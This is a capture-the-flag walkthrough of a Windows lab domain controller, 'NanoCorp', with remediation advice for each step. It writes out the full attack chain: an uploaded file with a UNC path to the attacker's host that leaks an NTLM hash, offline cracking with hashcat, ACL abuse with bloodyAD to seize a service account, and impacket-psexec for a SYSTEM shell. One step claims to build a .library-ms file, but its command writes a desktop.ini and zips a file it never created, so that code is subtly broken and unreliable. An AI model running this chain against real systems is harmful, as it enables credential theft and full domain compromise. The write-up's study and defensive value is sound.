J. Perez Duertojperezduerto.info
← all walkthroughs

NanoCorp

Windows· Hard· Privilege Escalation
owned
2026-09-05
time to own
2h7m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I abused a careers-portal file upload on the NanoCorp domain controller to force it to authenticate over SMB to my own host by uploading a crafted .library-ms shortcut file (CVE-2025-24071), capturing and cracking the web_svc service account's NetNTLMv2 hash. BloodHound enumeration of the domain revealed that web_svc could add itself to the IT_Support group, which in turn held ForceChangePassword rights over a second, more privileged service account, monitoring_svc.

I walked this access-control chain to reset monitoring_svc's password, authenticated over WinRM to confirm access and capture user.txt, then discovered monitoring_svc held local administrator rights on the domain controller itself. That local admin equivalence was used with an Impacket PsExec-style attack over the ADMIN$ share and the Service Control Manager to obtain a SYSTEM shell and capture root.txt — full domain controller compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <the-careers-upload-endpoint>, <the-upload-field>, <web_svc_password> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceService enumeration and HTTP banner grabbing
Mapped the domain controller and its web application
A port sweep of $TARGET showed a single Windows host running the full Active Directory service stack (DNS, Kerberos, LDAP, SMB, WinRM) alongside a public web application on port 80. HTTP fingerprinting confirmed Apache 2.4.58 with PHP 8.2.12 on Windows and identified the host as the domain controller for nanocorp.htb, DC01.nanocorp.htb, with a careers/CV-upload feature that is later abused for the foothold.
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12; dnsHostName: DC01.nanocorp.htb; ports 88/389/445/464/5986/9389 open alongside 80.
Exact commands 3
shell

Resolve the domain and DC hostname locally.

$ echo "$TARGET nanocorp.htb dc01.nanocorp.htb" | sudo tee -a /etc/hosts
shell

Confirm AD/Kerberos/LDAP/SMB/WinRM services and the web port.

$ nmap -p- -sC -sV -oA nanocorp $TARGET
shell

Fingerprint the web stack and locate the careers/upload page.

$ curl -sS -i --max-time 15 http://$TARGET/ -H 'Host: nanocorp.htb'
2Initial AccessForced authentication via Windows Library file indexing (CVE-2025-24071)
Forced an NTLM authentication leak via a malicious .library-ms upload
The careers portal accepted a ZIP file that a back-end service account extracted and indexed automatically. A ZIP containing a Windows Library file (.library-ms) whose simpleLocation and iconReference pointed at a UNC path on my own host was uploaded. When Windows indexed the file server-side, it automatically authenticated to my SMB listener with NTLM — no user interaction was required. The captured NetNTLMv2 hash for the web_svc service account was cracked offline.
Exact commands 4
shell

Alternative: impacket-smbserver share ./share_dir -smb2support. Captures the inbound NTLM auth.

$ sudo responder -I tun0
shell

Craft the .library-ms with simpleLocation/iconReference UNC paths pointing at your listener, then zip it.

$ printf "[.ShellClassInfo]\r\nIconResource=\\\\$ATTACKER_IP\\share\\icon.ico\r\n" > desktop.ini && zip Resume.library-ms.zip Resume.library-ms
shell

Post the archive to the careers portal's own upload form; the field name and endpoint are the ones that page uses.

$ curl -sS -F '<the-upload-field>=@Resume.library-ms.zip' http://nanocorp.htb/<the-careers-upload-endpoint>
shell

Crack the captured NetNTLMv2 hash offline to recover web_svc's password.

$ hashcat -m 5600 -a0 web_svc.ntlmv2 /usr/share/wordlists/rockyou.txt
FixPatch and mitigate the Windows Library file NTLM-coercion vulnerabilityCritical
WeaknessThe careers upload feature extracted and auto-indexed externally supplied ZIP contents server-side. A crafted .library-ms file's UNC-based location/icon references caused Windows to auto-authenticate over SMB to an unauthorised user host purely from indexing, leaking the web_svc account's NTLM credential material with no user interaction required.
FixApply the Microsoft security update addressing CVE-2025-24071 (Windows Explorer spoofing / forced authentication). Additionally, block outbound SMB (445/139) from the server to the internet/untrusted networks, disable NTLM in favor of Kerberos-only authentication where possible, and strip or reject .library-ms/.searchConnector-ms and other shell-integration file types from user uploads before they are extracted or indexed.
3DiscoveryBloodHound AD DACL/ACL abuse-path discovery (T1069.002)
Enumerated Active Directory and found an abusable privilege-escalation path
Authenticating as web_svc and collecting the domain with BloodHound revealed that web_svc had GenericWrite/self-membership rights over the IT_Support group — meaning it could add itself as a member — and that IT_Support in turn held ForceChangePassword rights over another service account, monitoring_svc. This chained access-control weakness let a low-privileged web application account escalate to a monitoring account with far broader access.
LDAP bind and directory queries succeeded as NANOCORP\web_svc; group data showed web_svc self-add rights on IT_Support and IT_Support's ForceChangePassword edge to monitoring_svc.
Exact commands 2
shell

Collect the domain graph as web_svc.

$ bloodhound-python -c all -u web_svc -p '<web_svc_password>' -d nanocorp.htb -ns $TARGET --zip
shell

Alternative collector via NetExec.

$ nxc ldap $TARGET -u web_svc -p '<web_svc_password>' --bloodhound -c All
FixRemove the web application service account's self-add rights over the IT_Support groupHigh
WeaknessThe web_svc service account held GenericWrite/self-membership permissions on the IT_Support security group, letting it add itself to a group it had no legitimate business need to belong to and pivot into that group's inherited privileges.
FixAudit AD group and object ACLs with BloodHound and remove GenericWrite/GenericAll/Self permissions that are not explicitly required. Service accounts used only by a web application should never hold write rights over group membership; apply least-privilege delegation and review it on a recurring schedule.
4Privilege EscalationForceChangePassword abuse via SAMR/LDAP (T1098.007)
Walked the DACL chain to seize the monitoring_svc account
Web_svc added myself to the IT_Support group, and, now holding IT_Support's group-inherited ForceChangePassword right, reset the password of the monitoring_svc service account directly over LDAP — no knowledge of the original password was needed.
BloodyAD reported '[+] web_svc added to IT_Support'; a follow-up password set against monitoring_svc succeeded using the same web_svc bind.
Exact commands 2
shell

Add web_svc to IT_Support using its self-membership right.

$ bloodyAD --host dc01.nanocorp.htb -d nanocorp.htb -u web_svc -p '<web_svc_password>' add groupMember IT_Support web_svc
shell

Re-authenticate first so the new group membership is reflected, then reset monitoring_svc's password via the inherited ForceChangePassword right.

$ bloodyAD --host dc01.nanocorp.htb -d nanocorp.htb -u web_svc -p '<web_svc_password>' set password monitoring_svc "$PASSWORD2"
FixRemove IT_Support's ForceChangePassword right over the monitoring_svc service accountHigh
WeaknessThe IT_Support group held ForceChangePassword rights over the monitoring_svc service account, allowing any principal who joined that group — including one that added itself — to silently reset monitoring_svc's password without knowing its current value.
FixRemove unnecessary ForceChangePassword/ExtendedRight ACEs from support/helpdesk groups over service accounts. Service account passwords should be managed via a dedicated privileged access workflow (e.g. gMSA or a PAM/vault solution) rather than being resettable by a general support group.
5Lateral MovementRemote command execution over WinRM/PSRP (T1021.006)
Authenticated as monitoring_svc and confirmed access with user.txt
With the new monitoring_svc password, I connected over WinRM/PowerShell Remoting, confirmed the identity of the session, and read the user's flag — proving domain-level shell access before continuing to escalate.
Whoami returned NANOCORP\monitoring_svc; user.txt read and submitted successfully.
Exact commands 3
shell

Connect over WinRM (port 5986/HTTPS) as monitoring_svc.

$ evil-winrm -S -P 5986 -u monitoring_svc -p "$PASSWORD2" -i dc01.nanocorp.htb
shell

Confirm the authenticated identity from the target shell.

$ whoami
NANOCORP\monitoring_svc
shell

Read the user flag; replace the captured value with <user.txt> when reporting.

$ type C:\Users\monitoring_svc\Desktop\user.txt
6Privilege Escalation to SYSTEMSMB/ADMIN$ + Service Control Manager remote execution (PsExec-style) (T1569.002)
Used monitoring_svc's local administrator rights to obtain SYSTEM
Monitoring_svc turned out to hold local administrator-equivalent rights on the domain controller. This allowed a classic PsExec-style attack: an executable was uploaded to the writable ADMIN$ share over SMB, and the Service Control Manager was used to create and start a service running that binary as SYSTEM, giving full interactive administrative code execution and access to root.txt.
Impacket output: 'Found writable share ADMIN$', 'Uploading file BbecASgM.exe', 'Creating service duAP', 'Starting service duAP'; subsequent command executed as SYSTEM and read root.txt.
Exact commands 3
shell

Uploads a service binary to ADMIN$ and executes it via SVCManager, yielding a SYSTEM shell.

$ impacket-psexec nanocorp.htb/monitoring_svc:"$PASSWORD2"@$TARGET
shell

Prove escalation — expect 'nt authority\system'.

$ whoami
shell

Read the root flag; replace the captured value with <root.txt> when reporting.

$ type C:\Users\Administrator\Desktop\root.txt
FixRemove monitoring_svc's unnecessary local administrator rights on the domain controllerCritical
WeaknessThe monitoring_svc account, intended only to support agent-based monitoring, held local administrator-equivalent rights on the domain controller. This let a fully compromised low-tier service account use standard SMB/ADMIN$ PsExec-style tooling to obtain a SYSTEM shell with no further exploitation needed.
FixRemove monitoring_svc from local Administrators on DC01; grant only the specific rights the monitoring agent needs (e.g. via a dedicated low-privilege monitoring group or the agent's documented service permissions). Restrict ADMIN$/IPC$ access and service-creation rights to a dedicated tier-0 admin group, enforce SMB signing, and alert on unexpected service creation events (Event ID 7045/4697) tied to non-admin-tier accounts.

Exposed services

53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3269/tcp
5986/tcp
9389/tcp
49664/tcp
49667/tcp
64740/tcp
64745/tcp
64769/tcp
53/udp